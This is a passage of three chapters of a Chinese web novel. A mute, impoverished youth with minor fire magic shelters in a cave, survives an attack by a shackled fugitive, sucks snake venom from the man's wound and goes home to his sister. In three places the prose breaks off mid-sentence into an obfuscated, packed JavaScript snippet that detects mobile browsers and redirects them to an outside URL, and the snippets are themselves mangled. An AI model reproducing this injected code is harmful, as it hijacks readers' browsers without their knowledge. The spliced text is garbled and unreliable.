《引灯》 1. 红尘客 “——上个月盘货时账目还是对的,今天就平白无故少了三十文,当老子眼瞎?我问你,钱呢?!” “——统共这么点账都算不拢来,我雇你是来吃糠的?” “——我看你不仅是个哑巴,还是个白痴!干不了就滚,整天一脸瘟丧样做给谁看?狗娘养的晦气东西!” 刚进店,宵烛就被肉铺老板劈头盖脸骂了一通。 那些粗鄙言辞像豆荚里的豌豆,源源不断地从老板嘴里吐出来,化作四处横飞的腥臭唾沫。 真难听啊。 宵烛的祖宗十八代全被问候了一遍,但说实话,他并不怎么生气。 他是贱籍出身,从七八岁起就开始来镇上做工,什么脏活苦活累活都干过,旁人的谩骂冷眼是家常便饭,早习惯了。 只要老板按时结工钱,所有的污言秽语他都可以照单全收。反正挨骂又不会掉块肉。 宵烛想得很美。殊不知,他这副死猪不怕开水烫的模样落在别人眼里,只会加重火气。 “当啷”一声,老板突然抄起旁边的剁骨刀,狠狠往砧板上一砍! 砧板裂口处渗出暗红血水,几只绿头苍蝇被惊得满屋嗡嗡乱飞。 宵烛吓得一哆嗦,就听老板道: “账目上少的钱全部从你这个月的工钱里扣!还有,从明天起,你不用再来了。我店里不需要一个既不会说话又不会算账的废物!” 活干了,锅背了,骂挨了,结果钱也没了。 哈哈。真是怕什么来什么。 走出肉铺时,外面晴空澄澈,宵烛的脸色却难看得像是刚奔完丧。 他不敢反驳老板,也没法反驳老板。毕竟,他的确是个不会说话的哑巴。 惹了宵烛,等于什么都没惹。 街边有家新开的包子摊,摊主正热情吆喝着生意。酱肉包只要一枚铜板,买两只还赠一块小米发糕,松软嫩糯,瞧着就诱人。 宵烛今天出门急,没来得及用早饭,此时已饿得饥肠辘辘。 包子摊的香气钻进鼻腔,勾得他连连吞咽口水。 可惜,眼馋归眼馋,他衣袋里现在空空如也,半枚铜子儿都凑不出来。 肉铺老板把宵烛的工钱全扣光了,家中余粮最多只能再撑半个月。 柴米油盐酱醋茶,什么都要钱,他该去哪里谋一份新营生? 唉。愁,真是愁。 关于肉铺账簿上缺失的那笔账,说起来也算宵烛倒霉。那压根就不是他的问题。 几天前,有客人在铺子里订了几块筒子骨。宵烛提着筒子骨上门去送货,哪想走到半路,突然被一名无赖截住。 无赖名叫屠狗六,家住乱葬岗旁边,身边总带着一条吃死人肉的凶恶癞皮狗。寻常人大多对逝者的尸体怀有敬畏之心,可屠狗六偏不怕,据说他穿的衣物也都是从死人身上剥下来的。如此丧心病狂之徒,旁人避之不及。 宵烛长得瘦弱,胆子又小,简直是歹徒拦路抢劫的最佳选择。 他不敢忤逆屠狗六,只能眼睁睁看着筒子骨被抢走。为了交差,还得自掏腰包赔偿客人的损失。 他身上本来就没几个钱,即便掏光口袋,那亏空也填不上,所以这笔账就成了糊涂账。 对于老板的发难,他早有心理准备,但没想到对方会直接把工钱扣光。 这下好了,一个月直接白干! 宵烛叹气,伸手揉了揉发酸的颈椎,准备回家。 还没迈开步子,就听见包子摊那边传来一道稚嫩的啼哭声: “掉地上啦……我的包子全弄脏了!” 说话的是一名胖胖的幼童,还没大人的腰高,穿着件鹅绒领杏黄缎面小褂,袖口滚了圈金丝边,脖子上挂着沉甸甸的如意项圈,一看就是有钱人家的孩子。 听见他哭,旁边的家仆赶紧道: “哎哟喂小祖宗,您可别哭,横竖不过掉了几个包子而已,再买就是了……老板,重新给我们来一份,要酱肉馅的!” 包子摊老板笑眯眯应道: “好嘞客官。嚯,您家小少爷面相挺圆润,真是个有福气的孩子。” 家仆道: “那可不。我家夫人身体弱,多年不孕,好不容易才得来这么个独苗苗,老爷可是放在心尖尖上宠的,我们这些做下人的也得细谨些……小心汤汁烫嘴!少爷,我给您吹吹再吃……” 宵烛什么都听不进去了。 他直勾勾盯着那几个散落在地上的包子,等幼童和家仆走后,飞快跑过去,把它们捡了起来。 一二三四五…… 宵烛数了数,刚好五个。 摸着还挺温热。 确实有点脏。但那又如何? 他不在乎。 宵烛揣着包子,在街边一处石阶上坐下。 酱肉包很好吃。 第一口咬破吸饱了酱汁的松软面皮,舌尖便陷进咸鲜的五花肉里。 光有酱肉难免生腻,老板还别出心裁地在肉馅中加了荸荠丁,咬起来脆脆嫩嫩的。融透的猪油裹挟着豆酱的陈香,唇齿间酿出葱姜的辛爽。 对此刻的宵烛来说,这简直是人间至味。 无数人从宵烛身前经过,来往者皆是行色匆匆。 很少有人注意到这个坐在台阶上埋头吃包子的少年,更不会在他面前驻足。 宵烛的视野里只剩下一双双制式各异的鞋子。 有红缎绣鞋——那妇人鞋底沾着香灰,肯定是刚从寺庙里祈福归来吧? 有黛青官靴——官府在东边,它怎么往西边的酒楼去了?原来官老爷也会在当值日摸鱼溜号啊。 有金线云头皂靴——金丝织成的鞋面,可不是人人都穿得起的,想必它的主人是哪位富商老板吧! 还有打满补丁的破草鞋——宵烛认出来了,这是他自己的鞋,穿了一年又一年,缝缝补补,坑坑洼洼,好不磕碜! 每个人都穿着迥然不同的鞋子,每个人都拥有独一无二的人生。 观察凡人是一件很有意思的事情。宵烛不会说话,所以他更加热衷于隐匿在不起眼的角落,用眼睛看、用耳朵听。 三只酱肉包下肚,总算填饱了饥肠。 宵烛将剩下的包子塞进怀里,起身往家的方向走去。 他住的地方名叫乱石村,是附近一带最偏僻的穷村。村中居民,要么是外地逃荒来的流民难民,要么是失去亲人且没有劳动能力的老弱病残。 官府不愿意给这些乱七八糟的人登记户籍,理由是他们交不了赋税。 没有户籍,就意味着分不到土地;分不到土地,等于没有最基本的生活来源,连温饱都成问题。 为了糊口,乱石村不少人选择铤而走险,去做娼妓、窃贼、乞丐……在生死面前,尊严和良心算得了什么? 因着以上种种乱象,乱石村的名声越来越坏,官府便更加心安理得地将他们归入了贱籍。 这简直成了一个无解的死结。 世道不公平,投胎可谓是一门大学问。有些人运气好,生来就锦衣玉食、仆从环绕;也有很多人像宵烛这样,饥一餐饱一餐,能捡几个脏包子填腹都觉得乐呵。 是云是泥,打世人出生的那一刻起,便已注定。 * 要从镇上回乱石村,共有两条路可以选择:一条平坦宽阔,路线笔直,路程稍短一些;另一条则要翻过山头,弯弯绕绕的,又远又难走。 宵烛毫不犹豫地选了难走的那条。 至于理由嘛…… 不为别的,他就是想避开屠狗六。 那无赖最近又缺钱了,天天牵着癞皮狗在大路边徘徊,遇到宵烛这种好欺负的,指不定要怎么为难。 商贩的吆喝声渐渐远去,身边行人越来越稀少。 最后,宽敞的青砖地转变成狭窄的山间小路,整条路上只剩下宵烛一人。 怀里的包子冷了,不过没关系。带回去热一热,又能解决一顿晚饭。 他今天白捡了大便宜,合该高兴才是。 人无法改变自己的出身,却能想办法调整心态。在这一点上,宵烛已然做到炉火纯青。 但可惜天公不作美。走着走着,宵烛忽然头顶一凉。 他伸手摸去,发现是几滴水落在了他头上。 下雨了……? 宵烛茫然抬头。 明明刚才都还是晴空万里的呀。 这下可坏事了。 下雨后山路会变得湿滑泥泞,他这双破草鞋陷进泥巴里,拔出来都难! 此时宵烛已经到了半山腰的位置,既没法上山,也没法再下去,属于是进退两难。 雨越下越大。 浓密阴云漫过山脊,像打翻的墨汁;沉重雨水一滴接一滴砸在宵烛鼻尖,天边传来一阵阵闷雷滚动的轰鸣。 雨水顺着衣领灌进后颈,冻得宵烛缩了缩脖子。 再淋下去恐怕会淋出病来。 最终,他心一横眼一闭,钻进了旁边的一处山洞。 先前宵烛就注意到,这条山路两侧的崖壁上有许多坑坑洼洼、深浅不一的洞穴。 附近一带人烟稀少,没人打理这些洞穴。里面灌木和荆棘肆意疯长,瞧着黑黢黢阴森森的,瘆得慌。 换作平时,宵烛绝对不敢一个人待在这种鬼地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490809|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但眼下除了山洞,也没别处可供他避雨了,容不得挑三拣四。 天已黑透,洞穴内更是暗得伸手不见五指。 没走几步,宵烛便背靠洞壁坐了下来,双手抱膝,将自己缩成一团。 宵烛怕冷又怕黑。这场突如其来的雨浇得他蔫头耷脑的,浑身都提不起劲儿。 他呆呆望着山洞外模糊的雨帘,想起早上出门时晾晒在院子里的腌菜,心中哀叹了一声。 雨势还在变大。 凹凸不平的地面上产生了一个又一个小水洼,雨水渐渐漫出来,开始朝着干燥的地面倒灌。 宵烛坐的地方很快也被打湿了。没办法,他只得起身,继续往山洞深处挪。 若说先前还只是能见度差,到了此刻,宵烛和瞎子几乎没什么区别。 满目尽是浓稠的黑暗,他在半人高的野草丛里穿行,中途好几次差点被绊倒。 这样下去不是办法。 宵烛弯腰,在地上摸了根枯枝。 他把枯枝平放在掌心,随后闭眼,在心里默默念诵一段咒诀。 伴随着轻微的“呼哧”声,不可思议的一幕出现了—— 宵烛分明什么都没做,那根枯枝上却凭空现出一簇星火。 接着,点点星火聚拢在一起,引燃了枯枝,山洞内的这小一方空间瞬间被照亮。 见此情景,宵烛大喜过望。 他刚才用的口诀名为引火真诀,是世间最基础的灵术之一。 此术法的使用条件非常简单。其一是要有燃烧载体,譬如干燥的枝条或布匹;其二,则是要把口诀背对,一个字都不能出错。 达成以上两个条件,哪怕施术者本身毫无灵力,也能成功引来火种。 不过宵烛今天纯粹是运气好。 来人间十几年,以前学过的那点术法皮毛早被他忘得差不多了,这引火真诀是情急之下误打误撞才背对的。 不管怎样,能用就行。 宵烛又拾了几根粗壮的枯枝,把它们打包捆扎在一起,做成一束简易火把。 火光和影子在洞壁上明灭跳跃,似水波纹般一圈一圈晃荡开来。 大雨久久不见停,横竖现在也没事干,宵烛便举着火把,开始在山洞里瞎转悠。 孰料转着转着,竟让他有了些不同寻常的发现。 这间山洞比宵烛预想中还要深许多。他走了好一会儿,仍未抵达最深处。 受光照影响,山洞里的植被由浅至深逐渐变得低矮,最后那些灌木和野草完全消失了,只剩毛茸茸的青苔,踩上去滑不溜秋的。 光看这些似乎一切还算正常。 但诡异的是……就在这片青苔地上,突兀地出现了几条长长的竖状拖痕。 拖痕还很清晰,看样子是刚产生没多久。 山洞里弥漫着腐朽潮湿的气息,其中混合着某种难闻的腥味。 有点像……血? 宵烛顿时心生警觉。 山间多猛兽,这种幽暗隐蔽的洞穴是最适合它们的藏身之所。 安全起见,还是不要再继续往里面走了,谁知道等着他的会是什么。 思及此,宵烛谨慎地转过身,打算悄无声息地离开。 就在这时,他的脚跟突然踢到了一个硬梆梆的东西。 ……嗯? 啥玩意儿? 出于疑惑,宵烛举着火把,低头往地上望了一眼。 然而就是这么一眼,吓得他险些魂飞魄散—— 他脚边躺着的那东西,不是别的,赫然是一具白森森的死人骨架! 宵烛瞪大眼睛,手指颤抖得几乎要握不住火把。 倘若他不是个哑巴,这会儿恐怕早就吓得惊叫了起来。 冷静冷静冷静…… 那骸骨上没有残存的腐肉,想来这人应该已经死了很久,至少一个月。 它身边散落着一只靴子,还有几片肮脏残破的碎布,估计是此人生前的衣物。 靴子的颜色和碎布的质感令宵烛觉得眼熟,可一时又想不起来。 他不会……撞上啥凶案现场了吧? 此地不宜久留。与眼前诡异的情状相比,山洞外的瓢泼大雨又算得了什么? 还是快逃命吧! 宵烛扔了火把,转身就跑,只想以最快的速度远离这个是非之地。 但他没成功。 “哗啦——” 金属碰撞的声响回荡在空寂的山洞内,宛如鬼魅索命的前奏。 一根冰冷的铁链从后方牢牢缠住了宵烛的脖子,并且越勒越紧。宵烛呼吸不畅,又无法发声,眼看就要当场毙命! 2. 逢殊途 用铁链勒住宵烛的是个活人,而且,听对方呼吸声,应当是一名身材高大的成年男子。 在绝对的力量差距面前,所谓的挣扎反抗不过是蚍蜉撼树。 铁链表面散发出一股极为阴冷的寒气。寒气渗入肌肤,冻得宵烛更加无法动弹,喉咙里只剩下“嗬嗬”的气音。 好痛苦…… 恍惚间,宵烛迷迷糊糊地猜测,这铁链中大概掺杂了玄古秘银。 玄古秘银产自北方极寒之渊,质地坚硬牢不可摧,据传其天然携带的寒气能震慑世间一切凶兽。 某种意义上来说,恶人也算一种凶兽,因此官兵押送穷凶极恶的要犯时,往往会为他们佩戴掺了玄古秘银的镣铐。 于是宵烛笃定,身后之人的来头不简单。 该说不说他今天的运气可真够“好”的。本想绕个远路躲开屠狗六,谁知半路恰好遇上一场大暴雨;遇到暴雨也就罢了,随便钻个山洞躲雨,还能撞上心怀不轨的歹徒! ——莫非今天真要把小命交待在这里? 他偏不! 宵烛还有个杀手锏没用。他拼命凝聚意识,再次在心中背起引火真诀。 引火真诀从低到高共分九阶。宵烛没灵力,只能使用最低阶。引来的火名为“萤烛微火”,火势很弱,除了在做饭时点灶生炉外几乎没太大用处。 至于最高阶呢? 据说那是只有上古神魔才能使用的,可引来“凤凰真火”,焚尽世间一切污秽邪恶。 要对付一个凡人,最低阶便足矣。 “......气海腾朱鸟,绛宫引丙丁。三焦通赤脉,十指化炎精。一念焚山意,半息燎原形。若得离火髓,须向灵台明——引火!” 咒诀无声落下。 刹那间,无数星星点点的火光在黑暗中亮起,而后迅速汇成一团团小火球,冲向宵烛身后的歹徒。 “!” 火焰灼烧皮肤,那人终于吃痛地松开了手。 宵烛趁机推开对方,得以脱逃。 他方才被铁链勒了太久,脖子和脑袋衔接处气血受阻,没走几步便晕得厉害。 不行……还是好难受…… 宵烛伸手扶住洞壁,胸闷得想吐。 使用初阶引火真诀虽然不需要灵力,但高频使用会损耗一部分精神力,出现轻微眩晕症状很正常,休息片刻便可恢复如初。 这点副作用放平日里无伤大雅,可对眼下本就置身险境的宵烛来说,无异于雪上加霜。 宵烛心有余悸地往旁边瞄了一眼。 方才的混乱中,有些火种扑到了歹徒衣服上。 那歹徒似是未料到会发生这种情况,慌乱滚到一边,想要扑灭身上的火苗。 但他手腕上戴着镣铐,两只镣铐间又连着很短的铁链,根本没办法做出脱外衣这样细致的动作。 歹徒发出低哑痛苦的咆哮,像一头真正的发狂的野兽那样,在地上翻滚、挣扎。 这人穿着一件粗布囚衣,衣衫褴褛披头散发,皮肤上全是干涸结块的污泥和化脓的疮疤,脏得几乎不辨人形,像极了话本子里那些茹毛饮血的山林野人。不过,即便弓着躯体,他的身材也相当伟岸健硕,微隆的肌肉均匀地排布在四肢上,看着就是个力气极大的悍匪。 听着那令人胆寒的咆哮声,宵烛惊魂未定地拍了拍胸口。 其实从宵烛踏入山洞的那一刻起,这蛰伏在暗处的歹徒就盯上了他。 待他走到洞穴深处,歹徒便突然发难,企图用手腕上的铁链将他活活勒死。 可以想见,刚才如若不是镣铐限制了歹徒的行动,他绝无生还的可能! 宵烛自认是个正直的人,但也不会滥发善心。 是这歹徒袭击他在先,他才不会同情这种贼人呢。被烧死也是纯纯活该! 山洞外雨势浩大,部分雨水顺着岩壁的缝隙渗了进来,在角落处汇成小水洼。 歹徒费力爬到水流倾泻下来的位置,没多久,身上的火苗便被尽数浇熄。 这时他已经透支了全部力气,只能奄奄一息地躺在角落里,再也翻不出什么花样来了。 宵烛和歹徒一个站,一个躺,彼此大眼瞪小眼,画面堪称诡异。 等眩晕症状缓解一点后,宵烛准备直接走人。 谁知这时,那歹徒突然开口说话了: “——不打算杀了我?就不怕留下后患?” 歹徒的嗓音粗粝而嘶哑,如同一把历经风霜后逐渐锈蚀的号角,已辨认不出原本的音色。但违和的是,他的口音是很纯正的中原官话,没有夹带方言。 这说明,此人必定接受过良好的教育,至少是念过书的。 宵烛闻言,脚步微顿。 杀了他?那怎么可能。 宵烛素来知晓杀业太重会反噬自身的道理。这世间没有绝对的公平,恶人不一定有恶报,好人也不见得就能结善果。但等死后去了阴曹地府,所有人的恩怨因果都会明明白白地写在功德簿上,由判官裁定是非。 生前造孽杀生,意味着死后得受苦还债。哪怕是神仙,杀业过重也不是什么好事。 他和这男人之间并无深刻的仇怨,何必弄脏自己的手? 宵烛摇摇头,不打算搭理歹徒的问题。 见宵烛不说话,歹徒又喃喃道: “你不是朝廷的追兵,用的也是我从未见过的巫术……你到底是什么人?” ……巫术? 宵烛听了有点恼火。 真没见识!那是仙术!仙术!仙术! 可惜他是个哑巴,没办法反驳对方的话,否则高低得怼回去。 歹徒还在那边絮絮叨叨: “看打扮,想必你的生活并不富足。难道你真的甘心一辈子困在山岭田间?不论你是谁,只要能助我离开这里、离开沂国,我可以许诺——” 话音蓦地被打断。 “唰”,宵烛再次使用了引火真诀。一回生二回熟,这次他已能游刃有余地操控那些火星子。 点点细碎微光在黑暗的山洞内亮起,犹如夏夜流萤,又似九霄星河的一隅。它们渐渐排列成整齐的光带,悬浮在宵烛身侧,为他照明。 看着挺唬人,实际上根本就没啥威力。 不过嘛……能唬人就够了。 宵烛就是要震慑住那歹徒,防止对方再度暴起伤人。 望着眼前如梦境般的画面,歹徒微微怔愣,一时失语。 接着,他看见那瘦弱的小少年走到自己面前,抬手指了指咽喉处,随即又摆了摆手。 看清宵烛的手势后,歹徒皱眉问: “你是个哑巴?不会说话?” ……这不是重点! 宵烛脖子上还有几道被铁链勒出的痕迹。他用手指着那处伤痕,本意是想提醒歹徒:我凭啥帮你?你刚刚差点杀了我!我可没那么大度! 哪知对方会错了意。 更离谱的是,歹徒说得也没错。 他!的确!是个哑巴! 宵烛郁闷地蹲在歹徒面前,也不管对方看不看得懂,两只手胡乱比划一通,大意就是:我不杀你已经是格外开恩了,至于救你,那不可能。我要走了,你好自为之,以后别再做恶事。 话虽如此,宵烛却很清楚,这人行动不便,又受了重伤,加之山洞里没有任何食物可以果腹,多半是活不成的。 犹豫一番后,宵烛伸手从衣襟里摸出先前捡来的包子。 他今天淋了雨,又在山洞里折腾一通,衣服早就弄脏了,唯有两只酱肉包被保护得很妥帖。 宵烛把包子递到歹徒眼前,果不其然在对方眼底窥见了一丝诧异和戒备。 唉!宵烛忍不住在心里骂自己。救一个坏蛋图什么?行善积德?估计阎王老爷都不会认的吧! 诡异的沉默在两人之间蔓延开来。 宵烛手臂都举酸了,歹徒却依旧纹丝不动。 不要?难道是怕有毒? 那正好,他还心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490810|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼自己的晚饭呢。不识好歹的家伙。 宵烛正要忿忿收回手,可就在此时,意外陡生—— 歹徒眼角余光扫到宵烛身后的一样事物,面色突变: “当心!” 那一瞬间的变故发生得太快了。 “咻!” 一道细长的黑影如闪电般从角落窜出,朝着两人所在的位置袭来! 来不及作出任何反应,宵烛的手腕忽地被用力一扯,整个身体顺势栽倒下去。 接着,两人位置对调,歹徒将宵烛牢牢护在身下,猝然发出一声闷哼! “嘶嘶——” 细长黑影咬住歹徒的手背,又被他用力甩开。 宵烛看清楚了,那是一条吐着信子的毒蛇。 它蜷着尾巴,竖起满身鳞片,满怀恶意地盯着他们。 方才如若没有歹徒的一挡,被咬的肯定是毫不设防的宵烛! 情势危急,宵烛没犹豫,当即催动火星子汇成火球,噼里啪啦朝黑蛇砸去。 毒物皆畏火,蛇亦不例外。 见状,黑蛇不再流连于此,长尾一扫,迅速从洞壁的缝隙里游走了。 宵烛没去追。 因为……比起处理那条蛇,现在有件更重要的事情需要他做。 见危机解除,覆在宵烛身前的那具躯体骤然瘫倒下来。 一个成年男子,分量自然不会轻到哪里去,被压着可不轻松。 宵烛却没有把人给推开。 他拼命拍打对方的背,试图让男人保持清醒。 别睡……别睡! 这种时候,一旦陷入昏迷,很可能就再也醒不过来了! 两人的距离被无限拉近,宵烛终于彻底看清了那张被乱发和污泥掩盖的面庞。 没有凶神恶煞,也没有丑陋狰狞,恰恰相反,那是一张很好看的脸,额间粘了几缕被冷汗浸湿的卷曲乌发,浓眉压着凹陷的眼窝,睫毛在颧骨上投下鸦羽般的墨色,鼻梁线条挺直优美,如同山黛雪岭的剪影。 最奇特的是男人的瞳孔,左眼是琥珀一样的浅褐,右眼却是很淡的银灰,似覆了一层冰雪。 这绝对不是中原人的长相,更像北方异族。 宵烛没心思顾别的。他焦急地执起歹徒手腕,果不其然,在对方手背上瞧见了一个流血的小口子,以它为中心,一大块可怖的黑斑不断往四周延展。 蛇毒扩散速度极快,如若不能在半炷香的时间里清理毒素,等它感染到肺腑,便是药石无医! 宵烛怎么都没想到,在刚刚那种危急的时刻,歹徒的第一反应是救下自己。 为什么呢?他们明明就素不相识。 宵烛平生最不喜欢欠人情,因为欠出去的都是要还的。倘若生前还不清,死后去了阴曹地府,还得费尽心思去处理这些纠缠。 可现在,人情已经领了,宵烛必须得报恩。 如何才能祛除这蛇毒…… 歹徒的身体在一寸一寸变冷,因为沾了毒素,手腕上玄古秘银制成的镣铐也逐渐变得乌黑。他把头埋在宵烛颈窝处,很轻很轻地说:“你身上……很温暖。” 从踏上逃亡之路的那一刻起,他已经在黑暗和寒冷中跋涉了太久太久,如今好不容易在这误入山洞的少年身上寻到一丝光热,竟是舍不得放开了。 ——别睡,我求求你,别睡过去! ——再撑一小会儿,一小会儿就好……我有办法救你了! 宵烛咬咬牙,从对方身下挣脱出来,费力地把那具山一般沉重的躯体放平。 接着,他扯下自己束发的青绦,快速将它捆扎在歹徒的上臂位置。蛇毒的扩散受阻,只能在手背和肩膀处游移。 宵烛的拇指重重按在歹徒腕间,他能明显感受到,那皮肉下的脉搏跳动得越来越微弱。 ——可能会疼……暂且忍耐一下吧。 宵烛略带歉意地摇了摇头。 接着,他忽然低下头去,用唇瓣覆住了那道伤口! 3. 倾国花 一股浓稠的血腥味在宵烛嘴里漫开。 渐渐的,舌尖开始发麻,那古怪的味道令他几乎作呕。 宵烛不敢懈怠。他用嘴吮吸出歹徒手背里的毒汁,吐在旁边的青苔地上。 沾到毒血的青苔表面滋起细小白沫,很快便悉数枯死。 一口、两口、三口…… 黑血的颜色慢慢变浅,当宵烛第十次吐出嘴里凝固的血块时,歹徒的身体终于有了温度。 但伤口处新渗出的血珠仍泛着诡艳的青蓝色,在火光映照下,宛如某种色泽妖异的染料。 宵烛认出来了,这应该是青环蛇毒。 它的毒性并不如其他蛇那样见血封喉,却具有非常强的麻痹效果,常被大夫采来制作麻醉药物。 宵烛反应及时,毒素已经被他清除了大半。至于清不掉的那些,也会随着人体自身的代谢被排出体外,不会再危及性命了。 ……终于。 心中的一块巨石轰然落地,宵烛疲惫地阖了阖眼眸,径直往地上一躺,恨不得就此长眠,别的什么都不管了。 旁边的男人尚处在昏迷状态,还未醒来。 不知是不是做了噩梦,他眉宇皱得很紧,嘴边时不时冒出几个短促的音节。 这回他说的不再是中原官话,而是宵烛从未听过的陌生语言。 除了满脸胡子拉碴略显邋遢外,此人简直称得上是个相当英俊的美男子,一点都不像穷凶极恶的亡命之徒。 所以到底是怎么沦落到这般田地的呢? 宵烛百思不得其解。 山洞里还有一具骸骨,骸骨旁边散落着主人生前的衣物和靴子。 现在宵烛想起来了,那正是朝廷官兵最常穿戴的款式。 结合先前男人话中透露出来的各种信息,宵烛推测,这名异族男人应当是朝廷缉捕的要犯,官兵也很有可能是他杀的,之所以藏身在山洞里,大概是为了避人耳目。 依照沂国当今律法,遇到凶案知情不报是重罪,宵烛应该赶紧去通秉官府。 倘若将犯人缉拿归案,他还能得到一笔丰厚的赏钱。 但宵烛不想那样做。 说实话,他对朝廷的印象并不怎么好。 宵烛现在所在的这座小县城名为石硚岭,周围被群山环绕,地势偏僻,各种条件都非常落后,堪称穷乡僻壤。 几年前,县里一位进士及第的读书人不满于家乡现状,特意上书朝廷,详细陈述了石硚岭的情况,希望寻求帮扶。不久后,朝廷派来一位官员,任命其为石硚岭县令,负责统管县内各项事宜,为百姓排忧解难。 百姓们本以为石硚岭会由此往好的方向发展,哪知那县令根本就不是什么善茬。 石硚岭物产贫瘠,每年上缴的赋税自然也不如其他地方多,为了政绩,县令加大盘剥力度,擅自将原本的税额比重由两成提高到三成,至于外地来的流民和没有劳动能力的老弱病残,则连户籍都不给安。 对于这一乱象,难道朝廷就不知情吗? 不……它是知情,甚至默许的。 宵烛的善恶观念非常简单。朝廷压迫他们,他便不会再信任朝廷;而眼前这名逃犯,虽然片刻前曾想要杀他,最后却为他挡了蛇的攻击,他便愿意暂释前嫌去救对方。 不过,也仅此而已了。 他能力有限,实在没办法帮助男人离开沂国,至于对方后续的命运如何,全凭造化。 山洞内安静得落针可闻。 宵烛在地上坐了很久,待外面淅淅沥沥的雨声小了点,便打算离开。 起身时几缕碍事的发丝扫过面颊,宵烛这才想起自己束发的发带还绑在那逃犯胳膊上。 他走到逃犯身边,想要解下发带。 谁知男人的肢体似乎对外界动静十分敏感,宵烛刚伸出手,就被对方条件反射地推开! “——!” 少年单薄的背脊撞上石壁,泄出的呜咽声裹在喉咙里,像受伤幼兽的哀鸣。 ……好家伙,这人平日里到底是有多疑神疑鬼啊,连昏迷后也要竖起全身的刺来防备! 如此杯弓蛇影,怕是长期活在水深火热的环境下吧? 宵烛揉着被撞疼的手腕,终是放弃了拿回发带的想法。 横竖也不值几个钱,送他得了。 半天折腾下来,两只酱肉包早已脏得不成样子,但剥去外面的皮儿,里面还是可以吃的,没必要扔。 宵烛拾了几束干草,生了个小火堆,然后把包子放在火堆旁边。 等逃犯醒过来,还能垫垫肚子。 做完这些,他走到山洞门口,果不其然发现那大雨已经停了。 宵烛挽起裤脚,踩着泥泞的水洼,回家。 他现在的模样堪称滑稽。凌乱的长发披散在背后,衣服和脸上全是水渍和污泥,跟个刚捞起来的泥鳅儿似的。 好在此时路上行人不多,也就没什么人看见他这狼狈的样子。 骤雨初歇,云开雾散,宵烛独自在山径间跋涉,倒也能品出不少别样的意趣。 此时已是傍晚,天边游动着金鳞般的薄云,被雨洗过的松针上垂着亮晶晶的水帘,山鹧鸪抖翅时洒落满地琼光,泥径旁的树影斜斜浸在水洼里,被涟漪揉皱成生动的水墨画卷。 转过崖角时,宵烛终于望见了山坳里一片熟悉的低矮茅檐。 那便是乱石村。 村庄里分布着许多由茅草和土砖搭成的破屋,屋外篱笆扎得东倒西歪。 几缕炊烟沿着湿漉漉的天幕攀升,在暮色里洇开淡淡墨痕。 乱石村穷归穷,论景色可不比其他地方差。 早上出门前宵烛在家门口晾了些腌菜,一场大雨浇得他那叫一个心疼,甚至已经做好了为它们“收尸”的打算。 谁知等他加快脚步走到家门口,那些腌菜却都不见了。 嗯? 怎么回事? 被偷了? 怎么还有人偷腌菜啊。 宵烛有点无奈,但不生气。 毕竟,那些腌菜就算不被偷,被雨水泡发过后也多半是不能再吃的。现在还免去了收拾残局的麻烦,多省事! 很多事情就是这样,既然改变不了现状,那就尽量往好的方面去想,不然天天怄气,最后气坏的还是自己。 宵烛正要去开门,这时“吱呀”一声,门竟被人从里面打开了。 一道清脆娇婉的声音如鸟儿般从屋里飞了出来: “今天咋回来得这么晚?我可等了你好半天——你怎么啦?!” 开门的是一名穿着桃粉色纱裙的妙龄少女。她生得极为貌美,眉目灼灼,艳若芙蕖,眉心还描了一瓣浅金色花钿。 看清彼此的那一刻,她和宵烛双双愣在原地。 “你不是说在镇上做工吗?怎么把自己弄成了这幅鬼样子?”少女不解地皱起眉,抢先发话了,“我不在的时候,有人欺负你了?” 宵烛也不知该怎么解释今天发生的事。 为了不让女孩担心,他想了想,做手语道: 回家时下雨路滑,摔了一跤,不碍事。 “……真的?”女孩拧起秀气的眉,显然这个理由不太能说服她,“那怎么披头散发的?你发带呢?” 宵烛: 被树枝刮的,明日我再重新缝一条。有话咱进屋说,我现在身上全是水和泥巴,可难受! 看他这蔫头巴脑的模样,女孩嘟哝道: “我好不容易才回家一趟,差点被你吓死啦……真没见过比你还笨的兄长!” 宵烛比划着问: 我晾在外面的那些腌菜是你收的吗?有没有淋水? “除了我还能有谁,谁看得上你那堆破烂啊!贼都不稀罕光顾咱家呢。” 如此就算是把先前的话题蒙混过去了。 宵烛在心里松了口气。 进屋后,宵烛先是去洗脸束发,换上干净的外衣,接着,他又忙不迭跑进灶房,用锅灶烧了一大桶热水。 等滚烫的沸水渐渐冷却后,宵烛提着木桶走进卧房。 这茅草屋小得可怜,统共就三个房间,一个是做饭的灶房,一个用来堆杂物,剩下一间则是卧房,连门都没有,只能用布帘子同外间隔开。 往常宵烛一个人在家时就睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490811|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 